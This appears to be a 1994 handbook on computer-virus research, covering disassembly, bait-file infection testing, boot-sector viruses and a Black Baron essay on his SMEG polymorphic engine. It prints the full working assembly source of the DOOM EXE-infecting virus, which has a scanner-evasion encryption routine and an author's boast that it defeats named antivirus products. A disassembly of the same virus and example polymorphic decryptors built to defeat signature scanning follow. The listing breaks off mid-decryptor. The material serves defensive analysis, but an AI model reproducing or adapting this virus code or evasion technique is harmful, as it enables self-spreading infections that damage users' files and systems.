THE VIRUS RESEARCHER HANDBOOK

3rd Edition

Compiled By Matthew Probert

Acknowledgments:

Case studies and some other information included here were originaly
written by:

Black Wolf
Larry Shultz
Michael Paris
Storm Bringer
Black Baron
And many others

CONTENTS

INTRODUCTION

BASIC RESEARCH METHODS

HANDLING DISASSEMBLIES

BOOT SECTOR VIRUSES

POLYMORPHIC VIRUSES

ACTUAL CASE STUDIES

VIRUS REFERENCE

INTRODUCTION

To The First Edition

Computer viruses fascinate and terrify the computing population. Virus
research has for too long been a closely guarded secret profession
denied to outsiders.

Servile Software sought to change the secret face of virus research in
1994 by offering real computer viruses to the public at large. This
met with uproar from the computing press and some members of the
public who objected that criminal elements could now obtain computer
viruses easily. The reality was however that computer virus authors
have long been able to exchange viruses through a network of
"underground" computer bulletin boards. In opening up the virus world

I discovered that many virus authors are also keen anti-virus researchers, and many were keen to assist me in producing products and information which would help the public to defend themselves. Indeed the virus writers anger was mainly directed at the unscrupulous anti-virus companies which they feel exploit public fears of computer viruses in order to make large amounts of money.

The purpose of this handbook is to introduce proficient and not so proficient computer programmers to the techniques of virus research. It will show you how to disassemble and reverse engineer infected programs so that you can realise how the virus works and this information will then enable you to defend yourself without the need to spend large amounts of money on fairly useless anti-virus software.

Matthew Probert
Servile Software
November 1994

BASIC RESEARCH METHODS

It should be noted here that most computer viruses are written in assembler, and a knowledge of 8088 assembler programming is a distinct advantage in virus research as most of the work involves analysing disassemblies.

DISASSEMBLY:

The virus researcher has at his disposal a range of disassembly tools including; Sourcer, D86, Intelligent Disassembler, Servile Software Decoder, Turbo Debugger, Code View and Debug. Each of these tools has features and characteristics which makes it more useful in some areas than in others. For example; Sourcer is very good at producing assembly listing of .EXE and .COM viruses, but suffers from the handicap that some viruses have been so designed as to confuse Sourcer and prevent it from disassembling them. The Intelligent Disassembler appears to be immune from such virus design, but only copes with .COM files. It can't disassemble .EXE viruses. And no diassembler can provide a satisfactory disassembly of an encrypted virus. Turbo Debugger and Code View are two interactive assembly debug tools which can be used to trace program flow. As such they are both subject to attack by viruses, and as they execute the live code they can be hazardous. The Servile Software Decoder emulates each instruction making it immune to attack and particularly suitable for analysing virus actions and for decrypted encrypted viruses. My personal choice of tools is Servile Software Decoder for analysis, decryption and trace debugging and The Intelligent Disassembler for producing source code disassemblies quickly.

TESTING INFECTION:

Deliberately infecting bait files is a useful way for determining common pattern's of bytes in infected files. These common patterns may then form the basis of a "signature" for recognition of future infected files. Deliberately infecting files can be hazardous, for obvious reasons.

The first hazard is knowing exactly which files will be infected. You should first determine the infection technique of the virus. These techniques are:

        * Subsequently executed programs

* A file or files in the current directory
        * A file or files in the DOS search path
        * A file or files in the root directory
        * Other miscellaneous hard coded targets

The first method of infection applies to memory resident viruses.
Memory resident viruses are among the safest to play with. The
researcher may deliberately activate a memory resident virus - such as
Pathogen - and then, being aware that any subsequently executed
programs will be infected may deliberately activate a bait program in
order to infect it. After infection the computer should be switched
off and then back on again to remove the virus from memory.

A virus which searches the DOS search path - as defined by the PATH
statement, is fairly safe to play with. Establish a subdirectoy of
bait files and specify this directory as the FIRST in the PATH eg;

                PATH=C:\BAIT;C:\DOS;C:\WINDOWS....etc

This will then direct "path searching" viruses to the files in the
bait directory. Remember though, that most viruses will test each file
and if it can't be infected will move to the next, which may mean
jumping directories.

Another hazard is the activation routine or payload of the virus. Many
viruses contain a routine to scramble disk data which will activate on
a specific date, or day of the year, or time or whatever. Be aware of
the conditions which cause the virus to activate so that you can avoid
them. Otherwise use a special "suicide machine". Incidentally, the
Black Baron virus author tested all his viruses and other peoples on a
single computer, he maintains that the only way to test viruses is to
be aware of the conditions which cause activation etc. Sound advice
indeed!

VSAFE, supplied with Centre Point Anti-Virus, and also with more
recent copies of MS-DOS can also be useful. Set the general write
warning on, and VSAFE will tell you when a program is about to be
changed (for example by a memory resident virus).

                        HANDLING DISASSEMBLIES

Disassemblies are often difficult to understand. However, with
experience you will start to recognise common techniques and be able
to slowly understand what the virus does and the all important how it
does it from the disassembly. The following case study compares a
disassembly of the "Doom" virus with the author's original source
code. This will help you to recognise common virus techniques and make
more sense of your own disassemblies.

DOOM VIRUS DISASSEMBLY

The following disassembly was produced with "The Intelligent
Disassembler", a public domain utility for disassembling .COM files.

```
        TITLE   doom.com - produced by Intelligent Disassembler V1.2
CSEG    SEGMENT
        ASSUME  CS:CSEG,DS:CSEG,ES:CSEG,SS:CSEG
        ORG     0100h
LB0100: CALL    LB0103
LB0103: MOV     DI,SP
        MOV     BP,WORD PTR SS:[DI]
        SUB     BP,OFFSET LB0103
```

```
                INC    SP
                INC    SP
                PUSH   DS
                PUSH   ES
                PUSH   CS
                POP    DS
                CALL   LB02A2
LB0115:         CLD
                MOV    AH,01ah
                LEA    DX,WORD PTR LB02D9
                INT    021h
                MOV    BX,ES
                PUSH   CS
                POP    ES
                LEA    SI,WORD PTR LB0261
                LEA    DI,WORD PTR LB025D
                MOVSW
                LODSW
                ADD    AX,BX
                ADD    AX,010h
                STOSW
                ADD    DI,8
                LODSW
                ADD    AX,BX
                ADD    AX,010h
                STOSW
                MOVSW
                MOV    AH,047h         ; 'G'
                XOR    DL,DL
                LEA    SI,WORD PTR LB0304
                INT    021h
LB0147:         MOV    AH,04eh         ; 'N'
                MOV    CX,7
                LEA    DX,WORD PTR LB0270
LB0150:         INT    021h
                JAE    SHORT LB0161
                LEA    DX,WORD PTR LB026D
                MOV    AH,03bh         ; ';'
                INT    021h
                JAE    SHORT LB0147
                JMP    LB022A
LB0161:         MOV    AX,03d02h
                LEA    DX,WORD PTR LB02F7
                INT    021h
                XCHG   AX,BX
                MOV    AH,03fh         ; '?'
                MOV    CX,018h
                LEA    DX,WORD PTR LB02C1
                INT    021h
                LEA    SI,WORD PTR LB02C1
                LODSW
                CMP    AX,05a4dh
                JE     SHORT LB0188
                CMP    AX,04d5ah
                JE     SHORT LB0188
                JMP    LB0213
LB0188:         ADD    SI,010h
                LODSW
                CMP    AX,05269h
                JNE    SHORT LB0194
                JMP    LB0213
LB0194:         LEA    DI,WORD PTR LB0261
                MOVSW
                MOVSW
```

```
        LEA     SI,WORD PTR LB02CF
        MOVSW
        MOVSW
        LEA     DI,WORD PTR LB02D3
        MOV     AX,05269h
        STOSW
        MOV     AL,2
        CALL    LB0297
        MOV     CX,010h
        DIV     CX
        SUB     AX,WORD PTR DS:LB02C9
        XCHG    AX,DX
        STOSW
        XCHG    AX,DX
        STOSW
        INC     AX
        INC     AX
        MOV     WORD PTR DS:LB02CF,AX
        MOV     WORD PTR DS:LB02D1,04b0h
        MOV     AH,02ch          ; ','
        INT     021h
        XOR     DH,DH
        OR      DL,0ah
        MOV     WORD PTR DS:LB02A0,DX
        MOV     AH,040h          ; '@'
        LEA     DX,0100h[BP]
        CALL    LB02B5
        MOV     AL,2
        CALL    LB0297
        MOV     CX,0200h
        DIV     CX
        INC     AX
        MOV     WORD PTR DS:LB02C3,DX
        MOV     WORD PTR DS:LB02C5,AX
        XOR     AL,AL
        CALL    LB0297
        MOV     AH,040h          ; '@'
        MOV     CX,018h
        LEA     DX,WORD PTR LB02C1
        INT     021h
        LEA     SI,WORD PTR LB02EF
        MOV     CX,WORD PTR [SI]
        MOV     DX,WORD PTR 2[SI]
        MOV     AX,05701h
        INT     021h
LB0213: MOV     AH,03eh          ; '>'
        INT     021h
        MOV     AX,04301h
        MOV     CL,BYTE PTR DS:LB02EE
        LEA     DX,WORD PTR LB02F7
        INT     021h
        MOV     AH,04fh          ; 'O'
        JMP     LB0150
LB022A: LEA     DX,WORD PTR LB0304
        MOV     AH,03bh          ; ';'
        INT     021h
        POP     ES
        MOV     AH,04ah          ; 'J'
        MOV     BX,02710h
        INT     021h
        PUSH    ES
        MOV     AH,048h          ; 'H'
        MOV     BX,0c0h
        INT     021h
```

```
        JB      SHORT LB024E
        DEC     AX
        MOV     ES,AX
        MOV     WORD PTR ES:LB0001,8
LB024E: POP     ES
        POP     DS
        CLI
        MOV     SS,WORD PTR CS:LB0269
        MOV     SP,WORD PTR CS:LB026B
        STI
        JMP     0000:0000
LB0261: ADD     BYTE PTR [BX+SI],AL
        LOCK    INC     WORD PTR [BX+SI]
        ADD     BYTE PTR [BX+SI],AL
        ADD     BYTE PTR [BX+SI],AL
        ADD     BYTE PTR [BX+SI],AL
        ADD     BYTE PTR LB002E,CH
LB0270: SUB     CH,BYTE PTR LB7865


        DB      'e',  0,'DOOM! (c) ', 39,'93 Raver/Immortal Riot'
LB0297: MOV     AH,042h          ; 'B'
        XOR     CX,CX
        CWD
        INT     021h
        RET


        DB        0
LB02A0  DB        0,  0
LB02A2: MOV     SI,WORD PTR DS:LB02A0
        LEA     DI,WORD PTR LB0115
        MOV     CX,0c5h
LB02AE: XOR     WORD PTR [DI],SI
        INC     DI
        INC     DI
        LOOP    SHORT LB02AE
        RET
LB02B5: CALL    LB02A2
        MOV     CX,01c1h
        INT     021h
        CALL    LB02A2
        RET


CSEG    ENDS
        END     LB0100
```

DOOM VIRUS ORIGINAL SOURCE CODE

And this for comparison is the author's original source code of the
DOOM virus.

```
; My second scratch contribution to this issue. It's a simple non-over-
; writing, non-destructive exe-infector that "eats up" a bit memory on
; every run. It restore date/time stamps and uses an encryption routine
; to avoid discovery from virus scanners. Of'cos no virus scanners are
; able to detect it. This includes Scan/FindViru/MSAV/CPAV/F-Prot and
; TBAV's most heuristic scanner. Well, 9 out of 10 viruses, that's nothing
; but pure bullshit!, ha!, this "wanna-be" can't find a single flag in
; this code!

; After these two moderate, educational viruses I'm planning to do some
; "fancier" memory resident viruses to the next issue. If I've got some
; time, that is. Fucking military service :)

; ▨▨-▨▨▨▨▨▨-▨▨▨▨▨▨▨▨▨▨--▨▨▨▨▨▨▨▨▨▨▨▨--▨▨▨▨▨▨▨--▨-▨▨▨▨▨▨▨▨▨▨▨▨▨-▨▨▨▨▨-▨
```

```
;                                      DOOM!
; ⬤⬤-⬤⬤⬤⬤⬤⬤-⬤⬤⬤⬤⬤⬤⬤⬤⬤⬤--⬤⬤⬤⬤⬤⬤⬤⬤⬤⬤⬤--⬤⬤⬤⬤⬤⬤--⬤-⬤⬤⬤⬤⬤⬤⬤⬤⬤⬤⬤-⬤⬤⬤⬤⬤-⬤

        cseg    segment byte public 'code'
                assume cs:cseg, ds:cseg

                org 100h

        start_of_virus:

            call get_offset
        get_offset:                     ;alternative way to get the delta
            mov di,sp                   ;offset without activating any flags in
            mov bp,word ptr ss:[di]     ;TB-scan
            sub bp,offset get_offset
            inc sp
            inc sp

            push ds                     ;save es & ds
            push es
            push cs                     ;and point ds to code segment
            pop ds

            call encrypt_decrypt        ;decrypt contents of file

        start_of_encryption:
            cld                         ;clear direction flag

            mov ah,1ah                  ;set new dta area
            lea dx,[bp+dta_area]
            int 21h

            mov bx,es
            push cs                     ;es points to code segment
            pop es

            lea si,[bp+return2_buffer]  ;this code prepares the return code
            lea di,[bp+return_buffer]
            movsw                       ;transfer buffer contents
            lodsw
            add ax,bx                   ;bx holds start es = psp
            add ax,10h
            stosw

        ;   lea di,[bp+stack_return]
        ;   lea si,[bp+stack_save]      ;si already points to stack_save
            add di,8                    ;saving a byte with this code
            lodsw                       ;prepares the restore of ss/sp
            add ax,bx
            add ax,10h
            stosw
            movsw


            mov ah,47h                  ;save starting directory
            xor dl,dl
            lea si,[bp+save_dir]
            int 21h

        find_new_files:                 ;start finding files
            mov ah,4eh
            mov cx,7
            lea dx,[bp+search_pattern]
        find_files:
```

```
        int 21h

        jnc open_file              ;if found a file
        lea dx,[bp+dir_mask]        ;else change directory
        mov ah,3bh
        int 21h
        jnc find_new_files
        jmp no_more_files          ;end of all files

open_file:                         ;open the found file
        mov ax,3d02h
        lea dx,[bp+dta_area+1eh]
        int 21h

        xchg ax,bx                 ;file handle in bx

        mov ah,3fh                 ;read the exe header to exe_header
        mov cx,18h
        lea dx,[bp+exe_header]
        int 21h

        lea si,[bp+exe_header]     ;check if it's really a executable
        lodsw
        cmp ax,'ZM'
        je check_infected
        cmp ax,'MZ'
        je check_infected
        jmp no_exe                 ;else jump

check_infected:

        add si,10h                 ;saving another byte
;       lea si,[bp+exe_header+12h]
        lodsw
        cmp ax,'Ri'                ;is it already infected?
        jne start_infect
        jmp already_infected


start_infect:
        lea di,[bp+return2_buffer] ;put the files ip/cs in return2_buffer
        movsw
        movsw

        lea si,[bp+exe_header+0eh] ;save the files ss/sp in stack_save
        movsw
        movsw

        lea di,[bp+exe_header+12h] ;mark the file infected
        mov ax,'Ri'
        stosw

        mov al,2                   ;go to end_of_file
        call go_eof                ;dx/ax is file length at return

        mov cx,10h                 ;use div to save bytes instead of speed
        div cx
        sub ax,word ptr ds:[bp+exe_header+8]
        xchg dx,ax
        stosw                      ;put new ip/cs in exe_header
        xchg dx,ax
        stosw

        inc ax                     ;put new suitable ss/sp in exe_header
```

```asm
        inc ax
        mov word ptr [bp+exe_header+0eh],ax
        mov word ptr [bp+exe_header+10h],4b0h


        mov ah,2ch                  ;get system time for random number
        int 21h
        xor dh,dh                   ;just alter the code a little bit
        or dl,00001010b             ;with encryption so TB-scan wont't
        mov word ptr [bp+encryption_value],dx   ;find garbage instruction

        mov ah,40h                  ;prepare to append virus to file
        lea dx,[bp+start_of_virus]
        call append_virus           ;call it

        mov al,2                    ;go to end of file
        call go_eof

        mov cx,512                  ;get filesize in 512 modules
        div cx
        inc ax
        mov word ptr [bp+exe_header+2],dx   ;put modulo/filesize in
        mov word ptr [bp+exe_header+4],ax   ;exe header


        xor al,al                   ;go to beginning of file
        call go_eof

        mov ah,40h                  ;write new exe header
        mov cx,18h
        lea dx,[bp+exe_header]
        int 21h

        lea si,[bp+dta_area+16h]    ;restore time/date stamp
        mov cx,word ptr [si]
        mov dx,word ptr [si+2]
        mov ax,5701h
        int 21h

already_infected:
no_exe:

        mov ah,3eh                  ;close file
        int 21h

        mov ax,4301h                ;restore file attribute
        mov cl,byte ptr [bp+dta_area+15h]
        lea dx,[bp+dta_area+1eh]
        int 21h

        mov ah,4fh                  ;find next file
        jmp find_files

no_more_files:

        lea dx,[bp+save_dir]        ;restore starting directory
        mov ah,3bh
        int 21h

        pop es                      ;shrink memory block
        mov ah,4ah
        mov bx,10000
        int 21h
        push es
```

```
    mov ah,48h                     ;allocate a new 3k block
    mov bx,192
    int 21h
    jc no_mem
    dec ax
    mov es,ax
    mov word ptr es:[1],0008h   ;mark DOS as owner and it will
no_mem:                            ;reduce available memory to DOS

    pop es                         ;restore old es/ds
    pop ds

    cli                            ;must use this before altering ss/sp
    mov ss,word ptr cs:[bp+stack_return]     ;put back original ss/sp
    mov sp,word ptr cs:[bp+stack_return+2]
    sti                            ;interrupts allowed again

end_part:
db 0eah                            ;jmp to original ip
return_buffer db 0,0,0,0
return2_buffer dw 0,0fff0h         ;code for carrier file to exit
stack_save dd ?
stack_return dd ?
dir_mask db '..',0
search_pattern db '*.exe',0
signature db "DOOM! (c) '93 Raver/Immortal Riot"
go_eof:                            ;procedure to go to beginning and
    mov ah,42h                     ;end of file
    xor cx,cx                      ;this saves a few bytes as it's
    cwd                            ;used a few times
    int 21h
    ret
end_of_encryption:
pad db 0                           ;pad out a byte so first byte of
                                   ;encryption value won't be overwritten
encryption_value dw 0

encrypt_decrypt:                   ;cryptation routine
    mov si,word ptr [bp+encryption_value]
    lea di,[bp+start_of_encryption]
    mov cx,(end_of_encryption-start_of_encryption+1)/2
crypt_loop:
    xor word ptr [di],si
    inc di
    inc di
    loop crypt_loop
    ret


append_virus:
    call encrypt_decrypt           ;encrypt virus before write
    mov cx,end_of_virus-start_of_virus  ;cx is length of virus
    int 21h                        ;call 40h
    call encrypt_decrypt           ;decrypt virus again
    ret
end_of_virus:
exe_header db 18h dup(?)                    ;don't need to copy this shit
dta_area db 43 dup(?)                       ;to the next file to infect
save_dir db 64 dup(?)                       ;return adress is already saved!
cseg ends
end start_of_virus

; NOTE! the "3kb- memory shrinker" might halt the system while calling
; command.com..sorry for this!, we just simple didn't tried it out
```

; too much before releasing it..(cutted out from Insane Reality #3)

From comparing the original source code with the disassembly you will notice
the "encrypt/decrypt" sub routine below.


```
LB02A2: MOV      SI,WORD PTR DS:LB02A0
        LEA      DI,WORD PTR LB0115
        MOV      CX,0c5h
LB02AE: XOR      WORD PTR [DI],SI
        INC      DI
        INC      DI
        LOOP     SHORT LB02AE
        RET
```


This is a common method of encrypting/decrypting a virus and once you
study it you can easily locate it in other disassemblies. It is
important to be able to recognise the purpose of routines in
diassemblies so that the esoteric labels inserted by the disassembler
can be replaced with more meaningful ones.

Also helpful in determining a virus' behaviour is SSD. This analysis
tool emulates virus execution so it is quite safe to run a virus
through. Debugging tools such as Borland's TurboDebugger and
Microsoft's Code View should be avoided when testing viruses as these
types of debuggers actually execute the code. SSD however interprets
each machine instruction and can therefore avoid being attacked by the
virus - which is a problem with traditional debugging tools. A slip of
the finger to the "run" button when testing or investigating a virus
with a debugger can be disastrous, but with SSD it is quite safe! The
following is an SSD analysis of a simulated execution of the DOOM
virus;

Set DTA address
Get Current directory
Searching for [*.exe]
Open file [CRIS2.EXE]
[24] bytes read from [CRIS2.EXE]
Close file [CRIS2.EXE]
Set file attributes [CRIS2.EXE]
(Inhibited)
Find next
Open file [CRIS4.EXE]
[24] bytes read from [CRIS4.EXE]
Close file [CRIS4.EXE]
Set file attributes [CRIS4.EXE]
(Inhibited)
Find next
Open file [CRIS6.EXE]
[24] bytes read from [CRIS6.EXE]
Close file [CRIS6.EXE]
Set file attributes [CRIS6.EXE]
(Inhibited)
Find next
Open file [CRIS8.EXE]
[24] bytes read from [CRIS8.EXE]
Close file [CRIS8.EXE]
Set file attributes [CRIS8.EXE]
(Inhibited)
Find next
Open file [CRIS10.EXE]
[24] bytes read from [CRIS10.EXE]

```
Close file [CRIS10.EXE]
Set file attributes [CRIS10.EXE]
(Inhibited)
Find next
Open file [CRIS40E.EXE]
[24] bytes read from [CRIS40E.EXE]
Close file [CRIS40E.EXE]
Set file attributes [CRIS40E.EXE]
(Inhibited)
Find next
Open file [CRIS60E.EXE]
[24] bytes read from [CRIS60E.EXE]
Close file [CRIS60E.EXE]
Set file attributes [CRIS60E.EXE]
(Inhibited)
Find next
Change directory [..]
Searching for [*.exe]
Change directory [..]
Change directory [VX]
Modify memory allocation
(Inhibited)
Allocate memory
TERMINATE!
```

BOOT SECTOR VIRUSES

Boot sector viruses are viruses which exist in the bootstrap record of
a disk or diskette. They load into memory when the computer is
"booted" from an infected disk and can only spread by infecting
another disk's boot sector.

Disassembling boot sector viruses is slightly more challenging than
disassembling file viruses. First the boot sector virus must be read
into a file. This can be acomplished quite easily with a program which
will read the first sector of the infected disk and write the data out
to a file. This file may then be disassembled in the usual way.

Common boot sector viruses include "Pakistani Brain" and the more
recent "Form Virus".

POLYMORPHIC VIRUSES

In late 1993 a new type of virus started to appear. This virus was one
that changed its form with each new infection making the determination
of signatures very difficult. This was the "polymorph" type of virus.
It was viruses which contained a polymorphic encryption engine. The
best encryption engine was one created by a young unemployed English
man who likes to call himself "The Black Baron". His encryption engine
he called SMEG after the science fiction programme "Red Dwarf". The
following is his documentation on the theory and practice of
polymorphic engines which I commissioned him to write in the summer of
1994;

```
������������������������������������������������������������������������������
� A GENERAL DESCRIPTION OF THE METHODS BEHIND A POLYMORPH ENGINE �
�                         (C) The Black Baron                    �
������������������������������������������������������������������������������
```

This .DOC attempts to provide an insight into the workings of a
Polymorph Engine. It assumes you are familiar with 8086 assembler and
the logic functions XOR, AND & OR. To this end, no explanation of

logic or assembler will be included in this text! Also note, no
SEGMENT stuff will be included in any of the assembler listings, it is
assumed that you know which segments are in play. The methods
described in this .DOC are the ones used in my SMEG (Simulated
Metamorphic Encryption Generator) Polymorph Engine and are by no means
the only way to do it!

A small glossary of terms used in this document:
░░░

        ENCRYPT   = Transform from it's original form to an altered form.
        DECRYPT   = Transform from it's altered form to it's original form.
        KEY   = The register or value used to encrypt/decrypt with.
        SLIDING KEY = A KEY value that is INCREASED or DECREASED on each loop.
        COUNT   = The number of bytes in the encrypted code or data.
        INDEX   = A pointer to the encrypted code or data.
        SIGNATURE   = A unique group of bytes that can be used to check against
                      a programs content in the hope of detecting a particular
                      program.
        HEURISTIC   = A set of well defined rules to apply to a problem in the
                      hope of achieving a known result.

Question: What is a Polymorph?
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
Answer: Well, the Longman English Dictionary defines it as:

    "POLYMORPHOUS also POLYMORPHIC adj fml or tech.
      EXISTING IN VARIOUS DIFFERENT FORMS."

In other words, something that has the ability to change it's shape.
Other ways to describe such a thing might be; Mutable, Metamorphic,
Etc...

Question: What is a Polymorph Engine?
░░
Answer: A program with the abilities to encrypt (or jumble up) another
           program or data and provide a unique decryptor for it, it must
           do this in such a way that no two encryptions of the same program
           or data will look alike.

Example: Take the following ultra-simple decryptor:

```
                MOV       SI,jumbled_data      ;Point to the jumbled data
                MOV       CX,10                ;Ten bytes to decrypt
main_loop:      XOR       BYTE PTR [SI],55     ;XOR (un_scramble!) a byte
                INC       SI                   ;Next byte
                LOOP      main_loop            ;Loop for the 9 remaining bytes
```

This small program will XOR the ten bytes at the location pointed to
by SI with the value 55. Providing the ten bytes were XORed with 55
prior to running this decryptor the ten bytes will be restored to
their original state. If you are unsure as to why this is, brush up
on your XOR logic!!

Ok, so you might say that if you change the KEY value on each
generation it will become Polymorphic? Well, yes and no! If you did
that, the encrypted portion would be Polymorphic, but the decryptor
would still remain mostly the same, the only change begin the KEY
value! So, a signature scanner that allows WILDCARDS (and most do!)
would still be able to find your decryptor!

One way you could fool some signature scanners is to swap around some
of the instructions. So, with this in mind, the above decryptor might
look like:

```
                MOV     CX,10
                MOV     SI,jumbled_data
main_loop:      XOR     BYTE PTR [SI],55
                INC     SI
                LOOP    main_loop
```

As you can see, still not much of a change, not really enough to fool
some of the better signature scanners.

"GET TO THE POINT! WHAT IS A TRUE POLYMORPH?", I hear you cry!
@@@

Well, a "true" Polymorph would be a decryptor that looks completely
different on each generation! Take the following decryptor:

```
                MOV     CX,10
                NOP
                NOP
                MOV     SI,jumbled_data
                NOP
main_loop:      NOP
                NOP
                XOR     BYTE PTR [SI],55
                NOP
                INC     SI
                NOP
                NOP
                NOP
                NOP
                LOOP    main_loop
```

This decryptor is the same as the one before it, but it has has a few
random NOP instructions peppered throughout itself. On each
generation you would vary the amount of NOPs after each instruction.
This is a Polymorph in it's simplest form. Still, most of the good
signature scanners would have no problem with such a simple Polymorph.
They would simply skip the NOPs, thus having a clear view of the
decryptor, to which they could apply a signature!

No, a "true" Polymorph has to be far far more complex then this!
Instead of peppering NOPs throughout the decryptor it would pepper
totally random amounts of totally random 8086 instructions, including
JUMPS and CALLS. It would also use a different main decryptor
(possibly from a selection of pre-coded ones) and would alter all the
registers that the decryptor uses on each generation, making sure that
the JUNK code that it generates doesn't destroy any of the registers
used by the real decryptor! So, with these rules in mind, here is our
simple decryptor again:

```
                MOV     DX,10               ;Real part of the decryptor!
                MOV     SI,1234             ;junk
                AND     AX,[SI+1234]        ;junk
                CLD                         ;junk
                MOV     DI,jumbled_data     ;Real part of the decryptor!
                TEST    [SI+1234],BL        ;junk
                OR      AL,CL               ;junk
main_loop:      ADD     SI,SI               ;junk instruction, real loop!
                XOR     AX,1234             ;junk
                XOR     BYTE PTR [DI],55    ;Real part of the decryptor!
                SUB     SI,123              ;junk
                INC     DI                  ;Real part of the decryptor!
                TEST    DX,1234             ;junk
                AND     AL,[BP+1234]        ;junk
```

```
                 DEC       DX                       ;Real part of the decryptor!
                 NOP                                 ;junk
                 XOR       AX,DX                     ;junk
                 SBB       AX,[SI+1234]              ;junk
                 AND       DX,DX                     ;Real part of the decryptor!
                 JNZ       main_loop                 ;Real part of the decryptor!
```

As you should be able to see, quite a mess!! But, still executable
code. It is essential that any junk code generated by the Polymorph
Engine is executable, as it is going to be peppered throughout the
decryptor. Note, in this example, that some of the junk instructions
use registers that we are using in the decryptor! This is fine,
providing the values in these registers aren't destroyed. Also note,
that now we have random registers and random instructions on each
generation it makes signature scanning (even for the clever signature
scanners) impossible! Instead, an HEURISTIC method must be used,
which can lead to false alarms.

So, a Polymorph Engine can be summed up into three major parts:
ÛÛÛ

   1 .. The random number generator.
   2 .. The junk code generator.
   3 .. The decryptor generator.

There are other discrete parts but these three are the ones where most
of the work goes on!

How does it all work? Well, SMEG goes about generating random
decryptors in the following way:

   1 .. Chooses a random selection of registers to use for the decryptor.
        Leaving the remaining registers as "junk" registers for the junk code
        generator.

   2 .. Chooses one of the compressed pre-coded decryptors.

   3 .. Goes into a loop generating the real decryptor, peppered with junk
        code.

To understand how the selected registers are slotted into the
decryptors and the junk code you must look at the 8086 instructions
from a binary level:

        XOR   AX,AX   =   00110001 11000000
        XOR   AX,CX   =   00110001 11001000
        XOR   AX,DX   =   00110001 11010000
        XOR   AX,BX   =   00110001 11011000

You should be able to see a pattern in the binary code for these four
8086 instructions? Well, all 8086 instructions follow logical
patterns, and it is these patterns that tell the 8086 processor which
registers/addressing mode to use for a particular instruction. The
total amount of instruction formats and the precise logic regarding
the patterns is too complex to go into here. However, all good 8086
tutorials/reference guides will explain in full.

SMEG exploits this pattern logic to generate junk code and decryptors
with random registers, as the patterns directly relate to the
registers Etc.

SMEG generates junk code in the following way:
ÛÛÛ

Inside SMEG there is a table of the basic binary patterns for all of
the 8086 instruction set, but with one important difference, all the
register/address mode bits are zero. This is called the SKELETON
INSTRUCTION TABLE. The table also contains various other bytes used
by SMEG to determine the relevant bit positions to "plug in" the
register bit patterns. These patterns are plugged in via the logic
processes OR and AND. Using this method, SMEG can generate endless
amounts of random 8086 instructions without destroying any of the
registers used by the decryptor proper. SMEG also contains some
discrete logic for producing false CALLS to dummy subroutines and also
false conditional JMPS around the junk code.

SMEG generates the decryptor proper in the following way:
☻☻☻

Inside SMEG there is a table containing a selection of common 8086
instructions used in decryptors, such as XOR [index],reg Etc. These
are, again, stored in SKELETON FORM with some control bytes used by
the decryptor generator. Also, inside SMEG, there are several pre-
coded decryptors stored in a compressed form. On average, a complete
decryptor can be described to the decryptor generator in as few as 11
bytes and adding to the list of pre-coded decryptors is both painless
and economical with space!

SMEG generates the Polymorphed decryptor in the following way:
☻☻☻

First it chooses, at random, one of the pre-coded compressed
decryptors. Next it goes into a loop uncompressing each decryptor
instruction, plugging in the required registers, storing it and then
generating (for each real instruction) a random amount of random
instructions. This loop repeats until the complete decryptor has been
constructed. The final result is a random size, random register,
random patterned decryptor!

It should also be noted that whenever SMEG generates an INDEXed
instruction it uses either SI, DI or BX at random, also it sometimes
uses a random offset. For example, say the encrypted code started at
address 10h, the following could be used to index this address:

        MOV   SI,10h   ;Start address
        MOV   AL,[SI]   ;Index from initial address

But sometimes SMEG will generate something like the following, again
based on the encrypted code starting at address 10h:

        MOV   DI,0BFAAh   ;Indirect start address
        MOV   AL,[DI+4066h)   ;4066h + 0BFAAh = 10010h (and FFFF = 10h)!!

These indexed and initial values are picked at complete random, and
the examples of 0BFAAh and 4066h are valid, but next time they will be
completely different!

The following are two decryptors that were generated with my SMEG
Polymorph Engine. It should be noted that I generated 4000 examples
with no two alike! Unfortunately I ran out of hard drive space! But
it is fairly safe to say that the total number of decryptor
combinations would run into the BILLIONS!

All the lines marked with ";junk" in the following listings indicate
random junk instructions that were inserted throughout the actual
decryptor, note that SMEG has the ability to generate junk CALLS to
false SUBROUTINES, as well as general junk conditional jumps! All
lines marked with a * indicate an actual part of the decryptor proper.

I chose the two generations shown because their sizes were similar,
386 and 480 bytes. SMEG produces decryptors ranging in size from as
little as 288 to as much as 1536 bytes. Even if two decryptors are
generated that are the same size the chances of them being the same
are, literally, billions to one!


```
;Assembler listing for decryptor 1, size 368 bytes.
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;Size of the encrypted code was 07DBh (2011 bytes)
;The encrypted code started at address 0270h

;This decryptor was generated to use the following registers:
;
;   DX = Count of bytes in the encrypted code
;   BX = Index pointing to the encrypted code
;   AL = The encryption key
;   CL = General work register

0100    JNS     0103            ;junk
0102    CLD                     ;junk
0103    SAR     SI,CL           ;junk
0105    CMP     BP,0708         ;junk
0109    STC                     ;junk
010A    JG      010E            ;junk
010C    OR      SI,CX           ;junk
010E    XOR     DI,3221         ;junk
0112    ADD     BP,0805         ;junk
0116    AND     BP,3512         ;junk
011A    SHR     SI,CL           ;junk
011C    MOV     SI,1B04         ;junk
0120    SAR     DI,CL           ;junk
0122    ADC     SI,2506         ;junk
0126    ADC     DI,1F11         ;junk
012A    SBB     BP,[0F3E]       ;junk
012E    CMP     BP,3F1E         ;junk
0132    DEC     SI              ;junk
0133    NOT     DI              ;junk
0135    AND     SI,083D         ;junk
0139    INC     SI              ;junk
013A    SBB     DI,0103         ;junk

013E    MOV     DX,1791         ;*  Set up the COUNT register
                                ;   3x Actual number of bytes!

0141    CLD                     ;junk
0142    JB      0146            ;junk
0144    TEST    SI,AX           ;junk
0146    SBB     DI,SP           ;junk
0148    TEST    DI,[251B]       ;junk
014C    TEST    CL,[SI]         ;junk
014E    SHL     BP,1            ;junk
0150    MOV     BX,017D         ;junk
0153    CMC                     ;junk
0154    MOV     DI,1218         ;junk
0158    JO      015C            ;junk
015A    RCR     DI,1            ;junk
015C    STC                     ;junk
015D    CMP     BP,DI           ;junk

015F    MOV     AX,CS           ;*  Get CODE SEG in AX

0161    TEST    CH,[BX+17]      ;junk
0164    SBB     BP,3107         ;junk
```

```
0168      INC     DI              ;junk
0169      RCR     BP,1            ;junk

016B      MOV     DS,AX           ;*  Make DATA SEG = CODE SEG

